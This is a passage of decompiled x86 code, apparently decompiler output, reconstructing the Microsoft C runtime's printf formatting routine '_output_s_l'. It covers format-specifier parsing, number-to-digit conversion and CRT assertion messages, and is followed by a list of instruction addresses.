															if(__ecx != 0x58) {
																 *(__ebp - 0x25c) = 0;
																goto L18;
															}
															goto L65;
														}
														L57:
														__ecx =  *(__ebp + 0xc);
														__edx =  *((char*)(__ecx + 1));
														__eflags =  *((char*)(__ecx + 1)) - 0x32;
														if( *((char*)(__ecx + 1)) != 0x32) {
															goto L59;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) = __ecx;
															goto L67;
														}
													}
													L54:
													__ecx =  *(__ebp + 0xc);
													__edx =  *((char*)(__ecx + 1));
													__eflags =  *((char*)(__ecx + 1)) - 0x34;
													if( *((char*)(__ecx + 1)) != 0x34) {
														goto L56;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) = __ecx;
														goto L67;
													}
												case 1:
													L68:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													goto L70;
												case 2:
													L49:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc));
													__eflags = __ecx - 0x6c;
													if(__ecx != 0x6c) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L70;
												case 3:
													L69:
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													goto L70;
												case 4:
													goto L70;
											}
										case 7:
											L71:
											__ecx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x324) = __ecx;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											__eflags =  *(__ebp - 0x324) - 0x37;
											if( *(__ebp - 0x324) > 0x37) {
												goto L190;
												do {
													do {
														while(1) {
															L190:
															if( *(_t627 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
														L186:
														__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L188:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L189:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L190:
													if( *(_t627 - 0x28) != 0) {
														goto L216;
													}
													goto L191;
												}
											}
											L72:
											_t157 =  *(__ebp - 0x324) + 0x4354dc; // 0xcccccc0d
											__ecx =  *_t157 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M004354A0))) {
												case 0:
													L122:
													 *(__ebp - 0x2c) = 1;
													__ecx =  *((char*)(__ebp - 0x251));
													__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
													__eflags = __ecx;
													 *((char*)(__ebp - 0x251)) = __cl;
													goto L123;
												case 1:
													L73:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													}
													goto L75;
												case 2:
													L88:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L90;
												case 3:
													L146:
													 *(__ebp - 0x260) = 7;
													goto L148;
												case 4:
													L81:
													__eax = __ebp + 0x14;
													 *(__ebp - 0x288) = E00428200(__ebp + 0x14);
													__eflags =  *(__ebp - 0x288);
													if( *(__ebp - 0x288) == 0) {
														L83:
														__edx =  *0x440f80; // 0x404478
														 *(__ebp - 4) = __edx;
														__eax =  *(__ebp - 4);
														 *(__ebp - 0x24) = E0041DCC0( *(__ebp - 4));
														L87:
														goto L190;
													}
													L82:
													__ecx =  *(__ebp - 0x288);
													__eflags =  *(__ecx + 4);
													if( *(__ecx + 4) != 0) {
														L84:
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
														__eflags =  *(__ebp - 0x10) & 0x00000800;
														if(( *(__ebp - 0x10) & 0x00000800) == 0) {
															 *(__ebp - 0xc) = 0;
															__edx =  *(__ebp - 0x288);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x288);
															__edx =  *__ecx;
															 *(__ebp - 0x24) =  *__ecx;
														} else {
															__edx =  *(__ebp - 0x288);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x288);
															__eax =  *__ecx;
															asm("cdq");
															 *__ecx - __edx =  *__ecx - __edx >> 1;
															 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
															 *(__ebp - 0xc) = 1;
														}
														goto L87;
													}
													goto L83;
												case 5:
													L123:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__eax = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L125:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L128:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L130:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041B760(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__eax =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__eax =  *(__ebp + 0x14);
															__ecx =  *(__eax - 8);
															__edx =  *(__eax - 4);
															 *(__ebp - 0x2a8) =  *(__eax - 8);
															 *(__ebp - 0x2a4) =  *(__eax - 4);
															__ecx = __ebp - 0x40;
															_push(E0041ACF0(__ebp - 0x40));
															__eax =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__ecx =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__edx =  *((char*)(__ebp - 0x251));
															_push( *((char*)(__ebp - 0x251)));
															__eax =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__ecx =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__edx = __ebp - 0x2a8;
															_push(__ebp - 0x2a8);
															__eax =  *0x440374; // 0x4b3bc1ec
															__eax =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041ACF0(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x440380; // 0x4b248c6c
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
															if( *((char*)(__ebp - 0x251)) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041ACF0(__ebp - 0x40));
																	__eax =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__ecx =  *0x44037c; // 0x4b24956c
																	E00424560(__ecx) =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__edx =  *(__ebp - 4);
															__eax =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__edx =  *(__ebp - 4);
																__edx =  *(__ebp - 4) + 1;
																__eflags = __edx;
																 *(__ebp - 4) = __edx;
															}
															__eax =  *(__ebp - 4);
															 *(__ebp - 0x24) = E0041DCC0( *(__ebp - 4));
															do {
																L190:
																if( *(_t627 - 0x28) != 0) {
																	goto L216;
																}
																goto L191;
															} while ( *(__ebp - 0x324) > 0x37);
															goto L72;
														}
														L126:
														__ecx =  *((char*)(__ebp - 0x251));
														__eflags = __ecx - 0x67;
														if(__ecx != 0x67) {
															goto L128;
														}
														L127:
														 *(__ebp - 0x30) = 1;
														goto L130;
													}
													L124:
													 *(__ebp - 0x30) = 6;
													goto L130;
												case 6:
													L75:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
													__eflags =  *(__ebp - 0x10) & 0x00000810;
													if(( *(__ebp - 0x10) & 0x00000810) == 0) {
														__ebp + 0x14 = E00428200(__ebp + 0x14);
														 *(__ebp - 0x284) = __ax;
														__cl =  *(__ebp - 0x284);
														 *(__ebp - 0x248) = __cl;
														 *(__ebp - 0x24) = 1;
													} else {
														 *(__ebp - 0x280) = 0;
														__edx = __ebp + 0x14;
														__eax = E00428240(__ebp + 0x14);
														 *(__ebp - 0x258) = __ax;
														__eax =  *(__ebp - 0x258) & 0x0000ffff;
														__ecx = __ebp - 0x248;
														__edx = __ebp - 0x24;
														 *(__ebp - 0x280) = E004340D0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
														__eflags =  *(__ebp - 0x280);
														if( *(__ebp - 0x280) != 0) {
															 *(__ebp - 0x28) = 1;
														}
													}
													__edx = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													while(1) {
														L190:
														if( *(_t627 - 0x28) != 0) {
															goto L216;
														}
														goto L191;
													}
												case 7:
													L143:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 8) = 0xa;
													goto L153;
												case 8:
													goto L0;
												case 9:
													L151:
													 *(__ebp - 8) = 8;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000200;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L153;
												case 0xa:
													L145:
													 *(__ebp - 0x30) = 8;
													goto L146;
												case 0xb:
													L90:
													__eflags =  *(__ebp - 0x30) - 0xffffffff;
													if( *(__ebp - 0x30) != 0xffffffff) {
														__edx =  *(__ebp - 0x30);
														 *(__ebp - 0x328) =  *(__ebp - 0x30);
													} else {
														 *(__ebp - 0x328) = 0x7fffffff;
													}
													__eax =  *(__ebp - 0x328);
													 *(__ebp - 0x290) =  *(__ebp - 0x328);
													__ecx = __ebp + 0x14;
													 *(__ebp - 4) = E00428200(__ebp + 0x14);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
													__eflags =  *(__ebp - 0x10) & 0x00000810;
													if(( *(__ebp - 0x10) & 0x00000810) == 0) {
														L101:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__edx =  *0x440f80; // 0x404478
															 *(__ebp - 4) = __edx;
														}
														__eax =  *(__ebp - 4);
														 *(__ebp - 0x28c) =  *(__ebp - 4);
														while(1) {
															L104:
															__ecx =  *(__ebp - 0x290);
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L105:
															__eax =  *(__ebp - 0x28c);
															__ecx =  *( *(__ebp - 0x28c));
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L106:
															 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
															 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
														}
														L107:
														__eax =  *(__ebp - 0x28c);
														__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
														__eflags = __eax;
														 *(__ebp - 0x24) = __eax;
														goto L108;
													} else {
														L94:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__eax =  *0x440f84; // 0x404468
															 *(__ebp - 4) = __eax;
														}
														 *(__ebp - 0xc) = 1;
														__ecx =  *(__ebp - 4);
														 *(__ebp - 0x294) =  *(__ebp - 4);
														while(1) {
															L97:
															__edx =  *(__ebp - 0x290);
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															__eflags =  *(__ebp - 0x290);
															if( *(__ebp - 0x290) == 0) {
																break;
															}
															L98:
															__ecx =  *(__ebp - 0x294);
															__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
															__eflags =  *( *(__ebp - 0x294)) & 0x0000ffff;
															if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																break;
															}
															L99:
															 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
															 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
														}
														L100:
														 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
														__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
														 *(__ebp - 0x24) = __ecx;
														L108:
														while(1) {
															L190:
															if( *(_t627 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
													}
												case 0xc:
													L144:
													 *(__ebp - 8) = 0xa;
													goto L153;
												case 0xd:
													L147:
													 *(__ebp - 0x260) = 0x27;
													L148:
													 *(__ebp - 8) = 0x10;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														 *((char*)(__ebp - 0x14)) = 0x30;
														 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
														__eflags =  *(__ebp - 0x260) + 0x51;
														 *((char*)(__ebp - 0x13)) = __al;
														 *(__ebp - 0x1c) = 2;
													}
													L153:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
													__eflags =  *(__ebp - 0x10) & 0x00008000;
													if(( *(__ebp - 0x10) & 0x00008000) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
														__eflags =  *(__ebp - 0x10) & 0x00001000;
														if(( *(__ebp - 0x10) & 0x00001000) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
															__eflags =  *(__ebp - 0x10) & 0x00000020;
															if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	__eax = E00428200(__ebp + 0x14);
																	__edx = 0;
																	__eflags = 0;
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = 0;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E00428200(__ebp + 0x14);
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = __edx;
																}
															} else {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	E00428200(__ebp + 0x14) = __ax & 0x0000ffff;
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																	 *(__ebp - 0x2b4) = __edx;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E00428200(__ebp + 0x14);
																	__ax = __eax;
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = __edx;
																}
															}
														} else {
															__eax = __ebp + 0x14;
															 *(__ebp - 0x2b8) = E00428220(__ebp + 0x14);
															 *(__ebp - 0x2b4) = __edx;
														}
													} else {
														__ecx = __ebp + 0x14;
														 *(__ebp - 0x2b8) = E00428220(__ebp + 0x14);
														 *(__ebp - 0x2b4) = __edx;
													}
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) == 0) {
														L170:
														__ecx =  *(__ebp - 0x2b8);
														 *(__ebp - 0x2c0) =  *(__ebp - 0x2b8);
														__edx =  *(__ebp - 0x2b4);
														 *(__ebp - 0x2bc) =  *(__ebp - 0x2b4);
														goto L171;
													} else {
														L166:
														__eflags =  *(__ebp - 0x2b4);
														if(__eflags > 0) {
															goto L170;
														}
														L167:
														if(__eflags < 0) {
															L169:
															 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b8));
															__edx =  *(__ebp - 0x2b4);
															asm("adc edx, 0x0");
															__edx =  ~( *(__ebp - 0x2b4));
															 *(__ebp - 0x2c0) =  ~( *(__ebp - 0x2b8));
															 *(__ebp - 0x2bc) =  ~( *(__ebp - 0x2b4));
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															L171:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
															__eflags =  *(__ebp - 0x10) & 0x00008000;
															if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																__eflags =  *(__ebp - 0x10) & 0x00001000;
																if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																	__edx =  *(__ebp - 0x2c0);
																	__eax =  *(__ebp - 0x2bc);
																	__eax =  *(__ebp - 0x2bc) & 0x00000000;
																	__eflags = __eax;
																	 *(__ebp - 0x2bc) = __eax;
																}
															}
															__eflags =  *(__ebp - 0x30);
															if( *(__ebp - 0x30) >= 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																__eflags =  *(__ebp - 0x30) - 0x200;
																if( *(__ebp - 0x30) > 0x200) {
																	 *(__ebp - 0x30) = 0x200;
																}
															} else {
																 *(__ebp - 0x30) = 1;
															}
															 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
															__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
															if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
																 *(__ebp - 0x1c) = 0;
															}
															__eax = __ebp - 0x49;
															 *(__ebp - 4) = __ebp - 0x49;
															while(1) {
																L181:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L183;
																}
																L182:
																 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
																__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
																if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
																	goto L186;
																}
																L183:
																__eax =  *(__ebp - 8);
																asm("cdq");
																__ecx =  *(__ebp - 0x2bc);
																__edx =  *(__ebp - 0x2c0);
																__eax = E00430630( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8),  *(__ebp - 0x2c0));
																 *(__ebp - 0x2ac) = __eax;
																__eax =  *(__ebp - 8);
																asm("cdq");
																__eax =  *(__ebp - 0x2bc);
																__ecx =  *(__ebp - 0x2c0);
																 *(__ebp - 0x2c0) = E004306B0( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8), __edx);
																 *(__ebp - 0x2bc) = __edx;
																__eflags =  *(__ebp - 0x2ac) - 0x39;
																if( *(__ebp - 0x2ac) > 0x39) {
																	__edx =  *(__ebp - 0x2ac);
																	__edx =  *(__ebp - 0x2ac) +  *(__ebp - 0x260);
																	__eflags = __edx;
																	 *(__ebp - 0x2ac) = __edx;
																}
																__eax =  *(__ebp - 4);
																__cl =  *(__ebp - 0x2ac);
																 *( *(__ebp - 4)) = __cl;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																L181:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L183;
																}
																goto L182;
															}
														}
														L168:
														__eflags =  *(__ebp - 0x2b8);
														if( *(__ebp - 0x2b8) >= 0) {
															goto L170;
														}
														goto L169;
													}
												case 0xe:
													while(1) {
														L190:
														if( *(_t627 - 0x28) != 0) {
															goto L216;
														}
														goto L191;
													}
											}
										case 8:
											L30:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
											goto L33;
										case 9:
											L31:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											goto L33;
										case 0xa:
											L29:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000001;
											 *(__ebp - 0x10) = __ecx;
											goto L33;
										case 0xb:
											L28:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											goto L33;
										case 0xc:
											L32:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000008;
											__eflags = __ecx;
											 *(__ebp - 0x10) = __ecx;
											goto L33;
										case 0xd:
											L33:
											goto L218;
									}
								} else {
									if(0 == 0) {
										 *(_t627 - 0x314) = 0;
									} else {
										 *(_t627 - 0x314) = 1;
									}
									_t574 =  *(_t627 - 0x314);
									 *(_t627 - 0x278) =  *(_t627 - 0x314);
									if( *(_t627 - 0x278) == 0) {
										_push(L"(\"Incorrect format specifier\", 0)");
										_push(0);
										_push(0x460);
										_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
										_push(2);
										_t529 = L0041E220();
										_t630 = _t630 + 0x14;
										if(_t529 == 1) {
											asm("int3");
										}
									}
									L14:
									if( *(_t627 - 0x278) != 0) {
										goto L16;
									} else {
										 *((intOrPtr*)(L00422D10(_t574))) = 0x16;
										E00422AA0(_t558, _t574, _t625, _t626, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
										 *(_t627 - 0x2f0) = 0xffffffff;
										E0041ACC0(_t627 - 0x40);
										_t502 =  *(_t627 - 0x2f0);
										goto L229;
									}
								}
							}
							L219:
							if( *(_t627 - 0x25c) == 0) {
								L222:
								 *(_t627 - 0x334) = 1;
								L223:
								_t561 =  *(_t627 - 0x334);
								 *(_t627 - 0x2e0) =  *(_t627 - 0x334);
								if( *(_t627 - 0x2e0) == 0) {
									_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
									_push(0);
									_push(0x8f5);
									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
									_push(2);
									_t507 = L0041E220();
									_t630 = _t630 + 0x14;
									if(_t507 == 1) {
										asm("int3");
									}
								}
								if( *(_t627 - 0x2e0) != 0) {
									 *(_t627 - 0x300) =  *(_t627 - 0x24c);
									E0041ACC0(_t627 - 0x40);
									_t502 =  *(_t627 - 0x300);
								} else {
									 *((intOrPtr*)(L00422D10(_t561))) = 0x16;
									E00422AA0(_t558, _t561, _t625, _t626, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
									 *(_t627 - 0x2fc) = 0xffffffff;
									E0041ACC0(_t627 - 0x40);
									_t502 =  *(_t627 - 0x2fc);
								}
								goto L229;
							}
							L220:
							if( *(_t627 - 0x25c) == 7) {
								goto L222;
							}
							L221:
							 *(_t627 - 0x334) = 0;
							goto L223;
						}
					} else {
						L116:
						 *((intOrPtr*)(L00422D10(__ecx))) = 0x16;
						__eax = E00422AA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
						 *(__ebp - 0x2f8) = 0xffffffff;
						__ecx = __ebp - 0x40;
						__eax = E0041ACC0(__ecx);
						__eax =  *(__ebp - 0x2f8);
						L229:
						return E0042BB60(_t502, _t558,  *(_t627 - 0x48) ^ _t627, _t598, _t625, _t626);
					}
					L118:
					if(( *(_t627 - 0x10) & 0x00000020) == 0) {
						 *( *(_t627 - 0x298)) =  *(_t627 - 0x24c);
					} else {
						 *( *(_t627 - 0x298)) =  *(_t627 - 0x24c);
					}
					 *(_t627 - 0x28) = 1;
					goto L190;
				}
			}

0x00434b87
0x00434b87
0x00434b87
0x00434b87
0x00434b87
0x00434b87
0x00434b8b
0x00434b90
0x00434b93
0x00434ba0
0x00000000
0x00000000
0x00434ba6
0x00434ba6
0x00434ba8
0x00434bb6
0x00434baa
0x00434baa
0x00434baa
0x00434bc0
0x00434bc6
0x00434bd3
0x00434bd5
0x00434bda
0x00434bdc
0x00434be1
0x00434be6
0x00434be8
0x00434bed
0x00434bf3
0x00434bf5
0x00434bf5
0x00434bf3
0x00434bfd
0x00434c45
0x00435132
0x00435132
0x00435136
0x00000000
0x00000000
0x0043513c
0x00435142
0x0043514c
0x00435161
0x00435176
0x00435178
0x0043517c
0x0043517c
0x00435163
0x00435163
0x00435167
0x00435167
0x0043514e
0x0043514e
0x00435152
0x00435152
0x0043514c
0x0043518c
0x00435198
0x004351ae
0x004351b3
0x004351b3
0x004351c9
0x004351ce
0x004351d7
0x004351df
0x004351f5
0x004351fa
0x004351fa
0x004351df
0x00435201
0x004352d5
0x004352e8
0x004352ed
0x00000000
0x00435207
0x00435207
0x0043520b
0x00000000
0x00000000
0x00435211
0x00435211
0x0043521e
0x00435227
0x0043522d
0x0043522d
0x0043523c
0x00435244
0x00000000
0x00000000
0x0043524a
0x00435253
0x00435272
0x00435277
0x0043527a
0x00435289
0x00435296
0x004352a1
0x004352a1
0x00000000
0x004352a1
0x00435298
0x0043529f
0x004352ad
0x004352c6
0x004352cb
0x00000000
0x004352cb
0x00000000
0x0043529f
0x004352d3
0x004352f0
0x004352f7
0x004352ff
0x00435315
0x0043531a
0x0043531a
0x004352ff
0x004352f7
0x0043531d
0x00435321
0x00435329
0x0043532e
0x00435331
0x00435331
0x00435338
0x00435338
0x0043440f
0x00434415
0x00434422
0x00434427
0x00000000
0x0043443a
0x00434444
0x0043446b
0x00434452
0x00434463
0x00434463
0x00434444
0x00434475
0x0043447b
0x00434487
0x0043448a
0x00434498
0x0043449b
